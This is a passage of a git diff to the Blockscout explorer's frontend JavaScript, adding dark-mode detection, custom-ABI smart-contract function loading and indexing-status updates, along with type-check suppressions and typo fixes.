RE_CAPTCHA_CLIENT_KEY and RE_CAPTCHA_SECRET_KEY environment variables in case of reCAPTCHAv2 or RE_CAPTCHA_V3_CLIENT_KEY and RE_CAPTCHA_V3_SECRET_KEY environment variables in case of reCAPTCHAv3.', + icon: 'warning' + }) } + +function alertWhenRequestFailed () { + Swal.fire({ + title: 'Warning', + html: 'Request failed, please try again later or decrease time range for exporting data.', + icon: 'warning' + }) +} + +// @ts-ignore +window.onloadCallback = onloadCallback diff --git a/apps/block_scout_web/assets/js/lib/currency.js b/apps/block_scout_web/assets/js/lib/currency.js index 02dd5370a833..ea72a8c8c6aa 100644 --- a/apps/block_scout_web/assets/js/lib/currency.js +++ b/apps/block_scout_web/assets/js/lib/currency.js @@ -19,6 +19,7 @@ function formatCurrencyValue (value, symbol) { symbol = symbol || '$' if (isNaN(value)) return 'N/A' if (value === 0 || value === '0') return `${symbol}0.00` + // @ts-ignore if (value < 0.000001) return `${window.localized['Less than']} ${symbol}0.000001` if (value < 1) return `${symbol}${numeral(value).format('0.000000')}` if (value < 100000) return `${symbol}${numeral(value).format('0,0.00')}` diff --git a/apps/block_scout_web/assets/js/lib/custom_scrollbar.js b/apps/block_scout_web/assets/js/lib/custom_scrollbar.js new file mode 100644 index 000000000000..a48f56a75c56 --- /dev/null +++ b/apps/block_scout_web/assets/js/lib/custom_scrollbar.js @@ -0,0 +1,22 @@ +import $ from 'jquery' +import 'malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.concat.min' + +$(function () { + const scrollBar = $('.mCustomScrollbar') + scrollBar.mCustomScrollbar({ + callbacks: { + onOverflowY: () => { + $('#actions-list-scroll-note').css('display', 'block') + scrollBar.removeClass('mCS_no_scrollbar_y') + }, + onOverflowYNone: () => { + $('#actions-list-scroll-note').css('display', 'none') + scrollBar.addClass('mCS_no_scrollbar_y') + } + }, + theme: 'dark', + autoHideScrollbar: true, + scrollButtons: { enable: false }, + scrollbarPosition: 'outside' + }) +}) diff --git a/apps/block_scout_web/assets/js/lib/dark_mode.js b/apps/block_scout_web/assets/js/lib/dark_mode.js new file mode 100644 index 000000000000..2c0cec2418ac --- /dev/null +++ b/apps/block_scout_web/assets/js/lib/dark_mode.js @@ -0,0 +1,37 @@ +import Cookies from 'js-cookie' + +function isDarkMode () { + const permanentDarkModeEnabled = isPermanentDarkModeEnabled() + const permanentLightModeEnabled = isPermanentLightModeEnabled() + if (permanentLightModeEnabled) { + return false + } else if (permanentDarkModeEnabled) { + return true + } else { + return Cookies.get('chakra-ui-color-mode') === 'dark' + } +} + +function getThemeMode () { + const permanentDarkModeEnabled = isPermanentDarkModeEnabled() + const permanentLightModeEnabled = isPermanentLightModeEnabled() + if (permanentLightModeEnabled) { + return 'light' + } else if (permanentDarkModeEnabled) { + return 'dark' + } else { + return Cookies.get('chakra-ui-color-mode') + } +} + +function isPermanentDarkModeEnabled () { + // @ts-ignore + return document.getElementById('permanent-dark-mode').textContent === 'true' +} + +function isPermanentLightModeEnabled () { + // @ts-ignore + return document.getElementById('permanent-light-mode').textContent === 'true' +} + +export { isDarkMode, getThemeMode } diff --git a/apps/block_scout_web/assets/js/lib/history_chart.js b/apps/block_scout_web/assets/js/lib/history_chart.js index c7c94cbe8463..d861602128aa 100644 --- a/apps/block_scout_web/assets/js/lib/history_chart.js +++ b/apps/block_scout_web/assets/js/lib/history_chart.js @@ -5,11 +5,22 @@ import humps from 'humps' import numeral from 'numeral' import { DateTime } from 'luxon' import { formatUsdValue } from '../lib/currency' +import { isDarkMode } from '../lib/dark_mode' +// @ts-ignore import sassVariables from '../../css/export-vars-to-js.module.scss' Chart.defaults.font.family = 'Nunito, "Helvetica Neue", Arial, sans-serif,"Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' Chart.register(LineController, LineElement, PointElement, LinearScale, TimeScale, Title, Tooltip) +// @ts-ignore +const coinName = document.getElementById('js-coin-name').value +// @ts-ignore +const chainId = document.getElementById('js-chain-id').value +const priceDataKey = `priceData${coinName}` +const txHistoryDataKey = `txHistoryData${coinName}${chainId}` +const marketCapDataKey = `marketCapData${coinName}${chainId}` +const isChartLoadedKey = `isChartLoaded${coinName}${chainId}` + const grid = { display: false, drawBorder: false, @@ -17,7 +28,7 @@ const grid = { } function getTxChartColor () { - if (localStorage.getItem('current-color-mode') === 'dark') { + if ((isDarkMode())) { return sassVariables.dashboardLineColorTransactionsDarkTheme } else { return sassVariables.dashboardLineColorTransactions @@ -25,7 +36,7 @@ function getTxChartColor () { } function getPriceChartColor () { - if (localStorage.getItem('current-color-mode') === 'dark') { + if ((isDarkMode())) { return sassVariables.dashboardLineColorPriceDarkTheme } else { return sassVariables.dashboardLineColorPrice @@ -33,7 +44,7 @@ function getPriceChartColor () { } function getMarketCapChartColor () { - if (localStorage.getItem('current-color-mode') === 'dark') { + if ((isDarkMode())) { return sassVariables.dashboardLineColorMarketDarkTheme } else { return sassVariables.dashboardLineColorMarket @@ -155,41 +166,37 @@ function setDataToLocalStorage (key, data) { function getPriceData (marketHistoryData) { if (marketHistoryData.length === 0) { - return getDataFromLocalStorage('priceData') + return getDataFromLocalStorage(priceDataKey) } const data = marketHistoryData.map(({ date, closingPrice }) => ({ x: date, y: closingPrice })) - setDataToLocalStorage('priceData', data) + setDataToLocalStorage(priceDataKey, data) return data } function getTxHistoryData (transactionHistory) { if (transactionHistory.length === 0) { - return getDataFromLocalStorage('txHistoryData') + return getDataFromLocalStorage(txHistoryDataKey) } const data = transactionHistory.map(dataPoint => ({ x: dataPoint.date, y: dataPoint.number_of_transactions })) // it should be empty value for tx history the current day const prevDayStr = data[0].x const prevDay = DateTime.fromISO(prevDayStr) - let curDay = prevDay.plus({ days: 1 }) - curDay = curDay.toISODate() + const curDay = prevDay.plus({ days: 1 }).toISODate() data.unshift({ x: curDay, y: null }) - setDataToLocalStorage('txHistoryData', data) + setDataToLocalStorage(txHistoryDataKey, data) return data } -function getMarketCapData (marketHistoryData, availableSupply) { +function getMarketCapData (marketHistoryData) { if (marketHistoryData.length === 0) { - return getDataFromLocalStorage('marketCapData') + return getDataFromLocalStorage(marketCapDataKey) } - const data = marketHistoryData.map(({ date, closingPrice }) => { - const supply = (availableSupply !== null && typeof availableSupply === 'object') - ? availableSupply[date] - : availableSupply - return { x: date, y: closingPrice * supply } + const data = marketHistoryData.map(({ date, marketCap }) => { + return { x: date, y: marketCap } }) - setDataToLocalStorage('marketCapData', data) + setDataToLocalStorage(marketCapDataKey, data) return data } @@ -198,13 +205,14 @@ const priceLineColor = getPriceChartColor() const mcapLineColor = getMarketCapChartColor() class MarketHistoryChart { - constructor (el, availableSupply, _marketHistoryData, dataConfig) { + constructor (el, _marketHistoryData, dataConfig) { const axes = config.options.scales let priceActivated = true let marketCapActivated = true this.price = { + // @ts-ignore label: window.localized.Price, yAxisID: 'price', data: [], @@ -222,6 +230,7 @@ class MarketHistoryChart { } this.marketCap = { + // @ts-ignore label: window.localized['Market Cap'], yAxisID: 'marketCap', data: [], @@ -241,6 +250,7 @@ class MarketHistoryChart { } this.numTransactions = { + // @ts-ignore label: window.localized['Tx/day'], yAxisID: 'numTransactions', data: [], @@ -259,8 +269,6 @@ class MarketHistoryChart { axes.numTransactions.position = 'left' } - this.availableSupply = availableSupply - const txChartTitle = 'Daily transactions' const marketChartTitle = 'Daily price and market cap' let chartTitle = '' @@ -271,28 +279,23 @@ class MarketHistoryChart { } config.options.plugins.title.text = chartTitle + // @ts-ignore config.data.datasets = [this.price, this.marketCap, this.numTransactions] - const isChartLoadedKey = 'isChartLoaded' const isChartLoaded = window.sessionStorage.getItem(isChartLoadedKey) === 'true' if (isChartLoaded) { config.options.animation = false } else { - window.sessionStorage.setItem(isChartLoadedKey, true) + window.sessionStorage.setItem(isChartLoadedKey, 'true') } + // @ts-ignore this.chart = new Chart(el, config) } - updateMarketHistory (availableSupply, marketHistoryData) { + updateMarketHistory (marketHistoryData) { this.price.data = getPriceData(marketHistoryData) - if (this.availableSupply !== null && typeof this.availableSupply === 'object') { - const today = new Date().toJSON().slice(0, 10) - this.availableSupply[today] = availableSupply - this.marketCap.data = getMarketCapData(marketHistoryData, this.availableSupply) - } else { - this.marketCap.data = getMarketCapData(marketHistoryData, availableSupply) - } + this.marketCap.data = getMarketCapData(marketHistoryData) this.chart.update() } @@ -307,17 +310,16 @@ export function createMarketHistoryChart (el) { const dataConfig = $(el).data('history_chart_config') const $chartError = $('[data-chart-error-message]') - const chart = new MarketHistoryChart(el, 0, [], dataConfig) + const chart = new MarketHistoryChart(el, [], dataConfig) Object.keys(dataPaths).forEach(function (historySource) { $.getJSON(dataPaths[historySource], { type: 'JSON' }) .done(data => { switch (historySource) { case 'market': { - const availableSupply = JSON.parse(data.supply_data) - const marketHistoryData = humps.camelizeKeys(JSON.parse(data.history_data)) + const marketHistoryData = humps.camelizeKeys(data.history_data) $(el).show() - chart.updateMarketHistory(availableSupply, marketHistoryData) + chart.updateMarketHistory(marketHistoryData) break } case 'transaction': { diff --git a/apps/block_scout_web/assets/js/lib/indexing.js b/apps/block_scout_web/assets/js/lib/indexing.js index be410da5b810..19720bd3d18c 100644 --- a/apps/block_scout_web/assets/js/lib/indexing.js +++ b/apps/block_scout_web/assets/js/lib/indexing.js @@ -3,23 +3,50 @@ import humps from 'humps' import numeral from 'numeral' import socket from '../socket' -function tryUpdateIndexedStatus (el, indexedRatio = el.dataset.indexedRatio, indexingFinished = false) { +function tryUpdateIndexedStatus (el, indexedRatioBlocks = el.dataset.indexedRatioBlocks, indexedRatio = el.dataset.indexedRatio, indexingFinished = false) { if (indexingFinished) return $("[data-selector='indexed-status']").remove() - const blocksPercentComplete = numeral(indexedRatio).format('0%') + const indexedRatioFloat = parseFloat(indexedRatio) + const indexedRatioBlocksFloat = parseFloat(indexedRatioBlocks) + + if (!isNaN(indexedRatioBlocksFloat)) { + el.dataset.indexedRatioBlocks = indexedRatioBlocks + } else if (!isNaN(indexedRatioFloat)) { + el.dataset.indexedRatio = indexedRatio + } + + const blocksPercentComplete = numeral(el.dataset.indexedRatioBlocks).format('0%') let indexedText if (blocksPercentComplete === '100%') { - indexedText = window.localized['Indexing Tokens'] + const intTxsPercentComplete = numeral(el.dataset.indexedRatio).format('0%') + // @ts-ignore + indexedText = `${intTxsPercentComplete} ${window.localized['Blocks With Internal Transactions Indexed']}` } else { + // @ts-ignore indexedText = `${blocksPercentComplete} ${window.localized['Blocks Indexed']}` } - if (indexedText !== el.innerHTML) el.innerHTML = indexedText + + if (indexedText !== el.innerHTML) { + el.innerHTML = indexedText + } } -export function updateIndexStatus (msg = {}) { - $('[data-indexed-ratio]').each((i, el) => tryUpdateIndexedStatus(el, msg.ratio, msg.finished)) +export function updateIndexStatus (msg = {}, type) { + $('[data-indexed-ratio]').each((i, el) => { + if (type === 'blocks') { + tryUpdateIndexedStatus(el, msg.ratio, null, msg.finished) + } else if (type === 'internal_transactions') { + tryUpdateIndexedStatus(el, null, msg.ratio, msg.finished) + } else { + tryUpdateIndexedStatus(el, null, null, msg.finished) + } + }) } updateIndexStatus() -const indexingChannel = socket.channel('blocks:indexing') -indexingChannel.join() -indexingChannel.on('index_status', (msg) => updateIndexStatus(humps.camelizeKeys(msg))) +const IndexingChannelBlocks = socket.channel('blocks_old:indexing') +IndexingChannelBlocks.join() +IndexingChannelBlocks.on('index_status', (msg) => updateIndexStatus(humps.camelizeKeys(msg), 'blocks')) + +const indexingChannelInternalTransactions = socket.channel('blocks_old:indexing_internal_transactions') +indexingChannelInternalTransactions.join() +indexingChannelInternalTransactions.on('index_status', (msg) => updateIndexStatus(humps.camelizeKeys(msg), 'internal_transactions')) diff --git a/apps/block_scout_web/assets/js/lib/infinite_scroll_helpers.js b/apps/block_scout_web/assets/js/lib/infinite_scroll_helpers.js index d43b1d4e36be..8bd1445c2585 100644 --- a/apps/block_scout_web/assets/js/lib/infinite_scroll_helpers.js +++ b/apps/block_scout_web/assets/js/lib/infinite_scroll_helpers.js @@ -96,8 +96,10 @@ export function connectInfiniteScroll (store) { function onScrollBottom (callback) { const $window = $(window) function infiniteScrollChecker () { - const scrollHeight = $(document).height() - const scrollPosition = $window.height() + $window.scrollTop() + const scrollHeight = $(document).height() || 1 + const windowHeight = $window.height() || 0 + const windowScrollTop = $window.scrollTop() || 0 + const scrollPosition = windowHeight + windowScrollTop if ((scrollHeight - scrollPosition) / scrollHeight === 0) { callback() } diff --git a/apps/block_scout_web/assets/js/lib/list_morph.js b/apps/block_scout_web/assets/js/lib/list_morph.js index 08dba71d5fab..9aece6ccefba 100644 --- a/apps/block_scout_web/assets/js/lib/list_morph.js +++ b/apps/block_scout_web/assets/js/lib/list_morph.js @@ -27,6 +27,7 @@ import { updateAllAges } from './from_now' // key: the path to the unique identifier of each element // horizontal: our horizontal animations are handled in CSS, so passing in `true` will not play JS // animations +// @ts-ignore export default function (container, newElements, { key, horizontal } = {}) { if (!container) return const oldElements = $(container).children().not('.shrink-out').get() @@ -35,7 +36,7 @@ export default function (container, newElements, { key, horizontal } = {}) { const overlap = intersectionBy(newList, currentList, 'id').map(({ id, el }) => ({ id, el: updateAllAges($(el))[0] })) // remove old items const removals = differenceBy(currentList, newList, 'id') - let canAnimate = false && !horizontal && newList.length > 0 // disabled animation in order to speed up UI + let canAnimate = false // && !horizontal && newList.length > 0 // disabled animation in order to speed up UI removals.forEach(({ el }) => { if (!canAnimate) return el.remove() const $el = $(el) @@ -49,6 +50,7 @@ export default function (container, newElements, { key, horizontal } = {}) { if (overlap[i]) { return ({ id: overlap[i].id, + // @ts-ignore el: el.outerHTML === overlap[i].el && overlap[i].el.outerHTML ? el : morph(el, overlap[i].el) }) } else { @@ -59,11 +61,12 @@ export default function (container, newElements, { key, horizontal } = {}) { // add new items const finalList = newList.map(({ id, el }) => get(find(currentList, { id }), 'el', el)).reverse() - canAnimate = false && !horizontal // disabled animation in order to speed up UI + canAnimate = false // && !horizontal // disabled animation in order to speed up UI finalList.forEach((el, i) => { if (el.parentElement) return if (!canAnimate) return container.insertBefore(el, get(finalList, `[${i - 1}]`)) if (!get(finalList, `[${i - 1}]`)) return slideDownAppend($(container), el) + // @ts-ignore slideDownBefore($(get(finalList, `[${i - 1}]`)), el) }) } diff --git a/apps/block_scout_web/assets/js/lib/modals.js b/apps/block_scout_web/assets/js/lib/modals.js index 97f3c20d59d8..ec0f83771d54 100644 --- a/apps/block_scout_web/assets/js/lib/modals.js +++ b/apps/block_scout_web/assets/js/lib/modals.js @@ -25,7 +25,7 @@ export function currentModal () { return $currentModal } -export function openModal ($modal, unclosable) { +export function openModal ($modal, unclosable, onHideCallback = null) { // Hide all tooltips before showing a modal, // since they are sticking on top of modal $('.tooltip').tooltip('hide') @@ -54,6 +54,9 @@ export function openModal ($modal, unclosable) { modalLocked = true } } + if (onHideCallback) { + $($currentModal).on('hidden.bs.modal', onHideCallback) + } } export function openModalWithMessage ($modal, unclosable, message) { @@ -116,18 +119,18 @@ export function openWarningModal (title, text) { openModal($modal) } -export function openSuccessModal (title, text) { +export function openSuccessModal (title, text, callback = null) { const $modal = $('#successStatusModal') $modal.find('.modal-status-title').text(title) $modal.find('.modal-status-text').html(text) - openModal($modal) + openModal($modal, false, callback) } export function openQuestionModal (title, text, acceptCallback = null, exceptCallback = null, acceptText = 'Yes', exceptText = 'No') { const $modal = $('#questionStatusModal') const $closeButton = $modal.find('.close-modal') - $closeButton.attr('disabled', false) + $closeButton.attr('disabled', 'false') $modal.find('.modal-status-title').text(title) $modal.find('.modal-status-text').text(text) @@ -149,18 +152,19 @@ export function openQuestionModal (title, text, acceptCallback = null, exceptCal if (acceptCallback) { $accept.on('click', event => { - $closeButton.attr('disabled', true) + $closeButton.attr('disabled', 'true') $accept .unbind('click') - .attr('disabled', true) + .attr('disabled', 'true') .find('.btn-line-text').html(spinner) $except .unbind('click') .removeAttr('data-dismiss') - .attr('disabled', true) + .attr('disabled', 'true') modalLocked = true + // @ts-ignore acceptCallback($modal, event) }) } else { @@ -169,18 +173,19 @@ export function openQuestionModal (title, text, acceptCallback = null, exceptCal if (exceptCallback) { $except.on('click', event => { - $closeButton.attr('disabled', true) + $closeButton.attr('disabled', 'true') $except .unbind('click') - .attr('disabled', true) + .attr('disabled', 'true') .find('.btn-line-text').html(spinner) $accept .unbind('click') - .attr('disabled', true) + .attr('disabled', 'true') .removeAttr('data-dismiss') modalLocked = true + // @ts-ignore exceptCallback($modal, event) }) } else { diff --git a/apps/block_scout_web/assets/js/lib/path_helper.js b/apps/block_scout_web/assets/js/lib/path_helper.js new file mode 100644 index 000000000000..b509bab2aedd --- /dev/null +++ b/apps/block_scout_web/assets/js/lib/path_helper.js @@ -0,0 +1,5 @@ +const pathObj = document.getElementById('js-network-path') +// @ts-ignore +const commonPath = (pathObj && pathObj.value) || '' + +export { commonPath } diff --git a/apps/block_scout_web/assets/js/lib/public_tags_request_form.js b/apps/block_scout_web/assets/js/lib/public_tags_request_form.js new file mode 100644 index 000000000000..df59c68cb02b --- /dev/null +++ b/apps/block_scout_web/assets/js/lib/public_tags_request_form.js @@ -0,0 +1,48 @@ +import $ from 'jquery' + +const $removeButton = $('.remove-form-field')[0] +const $container = $('#' + $removeButton.dataset.container) +// @ts-ignore +const index = parseInt($container[0].dataset.index) + +if (index <= 1) { + $('.remove-form-field').hide() +} + +$('.add-form-field').on('click', (event) => { + event.preventDefault() + const $container = $('#' + event.currentTarget.dataset.container) + // @ts-ignore + const index = parseInt($container[0].dataset.index) + if (index < 10) { + // @ts-ignore + $container.append($.parseHTML(event.currentTarget.dataset.prototype)) + // @ts-ignore + $container[0].dataset.index = index + 1 + } + if (index >= 9) { + $('.add-form-field').hide() + } + if (index <= 1) { + $('.remove-form-field').show() + } +}) + +$('[data-multiple-input-field-container]').on('click', '.remove-form-field', (event) => { + event.preventDefault() + console.log(event) + const $container = $('#' + event.currentTarget.dataset.container) + // @ts-ignore + const index = parseInt($container[0].dataset.index) + if (index > 1) { + // @ts-ignore + $container[0].dataset.index = index - 1 + event.currentTarget.parentElement.remove() + } + if (index >= 10) { + $('.add-form-field').show() + } + if (index <= 2) { + $('.remove-form-field').hide() + } +}) diff --git a/apps/block_scout_web/assets/js/lib/queue.js b/apps/block_scout_web/assets/js/lib/queue.js index beb5a615106b..89af63a0a55c 100644 --- a/apps/block_scout_web/assets/js/lib/queue.js +++ b/apps/block_scout_web/assets/js/lib/queue.js @@ -11,14 +11,14 @@ http://creativecommons.org/publicdomain/zero/1.0/legalcode */ -/* eslint-disable */ + /* Creates a new queue. A queue is a first-in-first-out (FIFO) data structure - * items are added to the end of the queue and removed from the front. */ export default function Queue(){ - // initialise the queue and offset + // initialize the queue and offset var queue = []; var offset = 0; diff --git a/apps/block_scout_web/assets/js/lib/random_access_pagination.js b/apps/block_scout_web/assets/js/lib/random_access_pagination.js index bc36d26461e6..de8adcd781ef 100644 --- a/apps/block_scout_web/assets/js/lib/random_access_pagination.js +++ b/apps/block_scout_web/assets/js/lib/random_access_pagination.js @@ -73,6 +73,7 @@ export function asyncReducer (state = asyncInitialState, action) { if (action.nextPageParams !== null) { const pageNumber = parseInt(action.nextPageParams.pageNumber) if (typeof action.path !== 'undefined') { + // @ts-ignore history.replaceState({}, null, URI(action.path).query(humps.decamelizeKeys(action.nextPageParams))) } delete action.nextPageParams.pageNumber @@ -144,7 +145,7 @@ export const elements = { if (state.itemKey) { const container = $el[0] const newElements = map(state.items, (item) => $(item)[0]) - listMorph(container, newElements, { key: state.itemKey }) + listMorph(container, newElements, { key: state.itemKey, horizontal: null }) return } @@ -223,7 +224,7 @@ export const elements = { * values passed here will overwrite the values on asyncInitialState. * * itemKey: it will be added to the state as the key for diffing the elements and - * adding or removing with the correct animation. Check list_morph.js for more informantion. + * adding or removing with the correct animation. Check list_morph.js for more information. */ export function createAsyncLoadStore (reducer, initialState, itemKey) { const state = merge(asyncInitialState, initialState) @@ -334,6 +335,7 @@ function pagesNumbersGenerate (pagesLimit, $container, currentPageNumber, loadin resultHTML += renderPaginationElements(pagesLimit - groupedPagesNumber, pagesLimit, currentPageNumber, loading) } else { resultHTML += renderPaginationElement(1, currentPageNumber === 1, loading) + // @ts-ignore const step = parseInt(groupedPagesNumber / 2) if (currentPageNumber - step - 1 === 2) { resultHTML += renderPaginationElement(2, currentPageNumber === 2, loading) diff --git a/apps/block_scout_web/assets/js/lib/redux_helpers.js b/apps/block_scout_web/assets/js/lib/redux_helpers.js index 93af7f8ef694..a425b54560f1 100644 --- a/apps/block_scout_web/assets/js/lib/redux_helpers.js +++ b/apps/block_scout_web/assets/js/lib/redux_helpers.js @@ -8,6 +8,7 @@ import { createStore as reduxCreateStore } from 'redux' * Create a redux store given the reducer. It also enables the Redux dev tools. */ export function createStore (reducer) { + // @ts-ignore return reduxCreateStore(reducer, window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__()) } diff --git a/apps/block_scout_web/assets/js/lib/smart_contract/common_helpers.js b/apps/block_scout_web/assets/js/lib/smart_contract/common_helpers.js index 9b191e159ed0..d45c41e6e904 100644 --- a/apps/block_scout_web/assets/js/lib/smart_contract/common_helpers.js +++ b/apps/block_scout_web/assets/js/lib/smart_contract/common_helpers.js @@ -36,9 +36,9 @@ export function prepareMethodArgs ($functionInputs, inputs) { if (sanitizedInputValue === '' || sanitizedInputValue === '[]') { return [[]] } else { - if (isArrayOfTuple(inputType)) { + if (isArrayOfTuple(inputType) || isMultidimensionalArray(inputType)) { const sanitizedInputValueElements = JSON.parse(sanitizedInputValue).map((elementValue, index) => { - return sanitizeMutipleInputValues(elementValue, inputType, inputComponents) + return sanitizeMultipleInputValues(elementValue, inputType, inputComponents) }) return [sanitizedInputValueElements] } else { @@ -46,7 +46,7 @@ export function prepareMethodArgs ($functionInputs, inputs) { sanitizedInputValue = sanitizedInputValue.substring(1, sanitizedInputValue.length - 1) } const inputValueElements = sanitizedInputValue.split(',') - const sanitizedInputValueElements = sanitizeMutipleInputValues(inputValueElements, inputType, inputComponents) + const sanitizedInputValueElements = sanitizeMultipleInputValues(inputValueElements, inputType, inputComponents) return [sanitizedInputValueElements] } } @@ -54,7 +54,7 @@ export function prepareMethodArgs ($functionInputs, inputs) { }) } -function sanitizeMutipleInputValues (inputValueElements, inputType, inputComponents) { +function sanitizeMultipleInputValues (inputValueElements, inputType, inputComponents) { return inputValueElements.map((elementValue, index) => { let elementInputType if (inputType.includes('tuple')) { @@ -96,7 +96,9 @@ export const formatTitleAndError = (error) => { let errorMap = '' try { errorMap = message && message.indexOf('{') >= 0 ? JSON.parse(message && message.slice(message.indexOf('{'))) : '' + // @ts-ignore message = errorMap.error || '' + // @ts-ignore txHash = errorMap.transactionHash || '' } catch (exception) { message = '' @@ -141,6 +143,7 @@ export const getCurrentAccountFromWCPromise = (provider) => { export const getCurrentAccountFromMMPromise = () => { return new Promise((resolve, reject) => { + // @ts-ignore window.ethereum.request({ method: 'eth_accounts' }) .then(accounts => { const account = accounts[0] ? accounts[0].toLowerCase() : null @@ -153,35 +156,43 @@ export const getCurrentAccountFromMMPromise = () => { } function hideConnectedToContainer () { - document.querySelector(connectedToSelector) && document.querySelector(connectedToSelector).classList.add('hidden') + const obj = document.querySelector(connectedToSelector) + obj && obj.classList.add('hidden') } function showConnectedToContainer () { - document.querySelector(connectedToSelector) && document.querySelector(connectedToSelector).classList.remove('hidden') + const obj = document.querySelector(connectedToSelector) + obj && obj.classList.remove('hidden') } function hideConnectContainer () { - document.querySelector(connectSelector) && document.querySelector(connectSelector).classList.add('hidden') + const obj = document.querySelector(connectSelector) + obj && obj.classList.add('hidden') } function showConnectContainer () { - document.querySelector(connectSelector) && document.querySelector(connectSelector).classList.remove('hidden') + const obj = document.querySelector(connectSelector) + obj && obj.classList.remove('hidden') } function hideConnectToContainer () { - document.querySelector(connectToSelector) && document.querySelector(connectToSelector).classList.add('hidden') + const obj = document.querySelector(connectToSelector) + obj && obj.classList.add('hidden') } function showConnectToContainer () { - document.querySelector(connectToSelector) && document.querySelector(connectToSelector).classList.remove('hidden') + const obj = document.querySelector(connectToSelector) + obj && obj.classList.remove('hidden') } export function showHideDisconnectButton () { // Show disconnect button only in case of Wallet Connect + const obj = document.querySelector(disconnectSelector) + // @ts-ignore if (window.web3 && window.web3.currentProvider && window.web3.currentProvider.wc) { - document.querySelector(disconnectSelector) && document.querySelector(disconnectSelector).classList.remove('hidden') + obj && obj.classList.remove('hidden') } else { - document.querySelector(disconnectSelector) && document.querySelector(disconnectSelector).classList.add('hidden') + obj && obj.classList.add('hidden') } } @@ -206,12 +217,14 @@ export function hideConnectButton () { } function setConnectToAddress (account) { - if (document.querySelector('[connected-to-address]')) { - document.querySelector('[connected-to-address]').innerHTML = `${trimmedAddressHash(account)}` + const obj = document.querySelector('[connected-to-address]') + if (obj) { + obj.innerHTML = `${trimmedAddressHash(account)}` } } function trimmedAddressHash (account) { + // @ts-ignore if ($(window).width() < 544) { return `${account.slice(0, 7)}–${account.slice(-6)}` } else { @@ -229,6 +242,10 @@ function convertToBool (value, type) { } } +function isMultidimensionalArray (inputType) { + return isArrayInputType(inputType) && inputType.includes('][') +} + function isArrayInputType (inputType) { return inputType && inputType.includes('[') && inputType.includes(']') } diff --git a/apps/block_scout_web/assets/js/lib/smart_contract/connect.js b/apps/block_scout_web/assets/js/lib/smart_contract/connect.js index ca896ef1957d..90701ff717b3 100644 --- a/apps/block_scout_web/assets/js/lib/smart_contract/connect.js +++ b/apps/block_scout_web/assets/js/lib/smart_contract/connect.js @@ -4,9 +4,11 @@ import WalletConnectProvider from '@walletconnect/web3-provider' import { compareChainIDs, formatError, showConnectElements, showConnectedToElements } from './common_helpers' import { openWarningModal } from '../modals' +// @ts-ignore const instanceChainIdStr = document.getElementById('js-chain-id').value const instanceChainId = parseInt(instanceChainIdStr, 10) const walletConnectOptions = { rpc: {}, chainId: instanceChainId } +// @ts-ignore const jsonRPC = document.getElementById('js-json-rpc').value walletConnectOptions.rpc[instanceChainId] = jsonRPC @@ -102,7 +104,7 @@ export async function disconnect () { // If the cached provider is not cleared, // WalletConnect will default to the existing session // and does not allow to re-scan the QR code with a new wallet. - // Depending on your use case you may want or want not his behavir. + // Depending on your use case you may want or want not his behavior. await web3Modal.clearCachedProvider() } diff --git a/apps/block_scout_web/assets/js/lib/smart_contract/functions.js b/apps/block_scout_web/assets/js/lib/smart_contract/functions.js index bf23ea03fbcd..6c3cef0adcb0 100644 --- a/apps/block_scout_web/assets/js/lib/smart_contract/functions.js +++ b/apps/block_scout_web/assets/js/lib/smart_contract/functions.js @@ -1,10 +1,10 @@ import $ from 'jquery' -import { connectSelector, disconnectSelector, getContractABI, getMethodInputs, prepareMethodArgs } from './common_helpers' +import { connectSelector, disconnectSelector, getCurrentAccountPromise, getContractABI, getMethodInputs, prepareMethodArgs } from './common_helpers' import { queryMethod, callMethod } from './interact' import { walletEnabled, connectToWallet, disconnectWallet, web3ModalInit } from './connect.js' import '../../pages/address' -const loadFunctions = (element) => { +const loadFunctions = (element, isCustomABI, from) => { const $element = $(element) const url = $element.data('url') const hash = $element.data('hash') @@ -13,15 +13,19 @@ const loadFunctions = (element) => { $.get( url, - { hash, type, action }, + { hash, type, action, is_custom_abi: isCustomABI, from }, response => $element.html(response) ) .done(function () { - document.querySelector(connectSelector) && document.querySelector(connectSelector).addEventListener('click', connectToWallet) - document.querySelector(disconnectSelector) && document.querySelector(disconnectSelector).addEventListener('click', disconnectWallet) + const connectSelectorObj = document.querySelector(connectSelector) + connectSelectorObj && connectSelectorObj.addEventListener('click', connectToWallet) + const disconnectSelectorObj = document.querySelector(disconnectSelector) + disconnectSelectorObj && disconnectSelectorObj.addEventListener('click', disconnectWallet) web3ModalInit(connectToWallet) - $('[data-function]').each((_, element) => { + const selector = isCustomABI ? '[data-function-custom]' : '[data-function]' + + $(selector).each((_, element) => { readWriteFunction(element) }) @@ -29,11 +33,13 @@ const loadFunctions = (element) => { const $customPower = $(event.currentTarget).find('[name=custom_power]') let power if ($customPower.length > 0) { + // @ts-ignore power = parseInt($customPower.val(), 10) } else { power = parseInt($(event.currentTarget).data('power'), 10) } const $input = $(event.currentTarget).parent().parent().parent().find('[name=function_input]') + // @ts-ignore const currentInputVal = parseInt($input.val(), 10) || 1 const newInputVal = (currentInputVal * Math.pow(10, power)).toString() $input.val(newInputVal.toString()) @@ -71,17 +77,19 @@ const readWriteFunction = (element) => { const contractAbi = getContractABI($form) const inputs = getMethodInputs(contractAbi, functionName) const $methodId = $form.find('input[name=method_id]') + let args try { - var args = prepareMethodArgs($functionInputs, inputs) + args = prepareMethodArgs($functionInputs, inputs) } catch (exception) { $errorContainer.show() $errorContainer.text(exception) return } const type = $('[data-smart-contract-functions]').data('type') + const isCustomABI = $form.data('custom-abi') walletEnabled() - .then((isWalletEnabled) => queryMethod(isWalletEnabled, url, $methodId, args, type, functionName, $responseContainer)) + .then((isWalletEnabled) => queryMethod(isWalletEnabled, url, $methodId, args, type, functionName, $responseContainer, isCustomABI)) } else if (action === 'write') { const explorerChainId = $form.data('chainId') walletEnabled() @@ -93,5 +101,19 @@ const readWriteFunction = (element) => { const container = $('[data-smart-contract-functions]') if (container.length) { - loadFunctions(container) + getWalletAndLoadFunctions(false, container) +} + +const customABIContainer = $('[data-smart-contract-functions-custom]') + +if (customABIContainer.length) { + getWalletAndLoadFunctions(true, customABIContainer) +} + +function getWalletAndLoadFunctions (isCustomABI, container) { + getCurrentAccountPromise(window.web3 && window.web3.currentProvider).then((currentAccount) => { + loadFunctions(container, isCustomABI, currentAccount) + }, () => { + loadFunctions(container, isCustomABI, null) + }) } diff --git a/apps/block_scout_web/assets/js/lib/smart_contract/interact.js 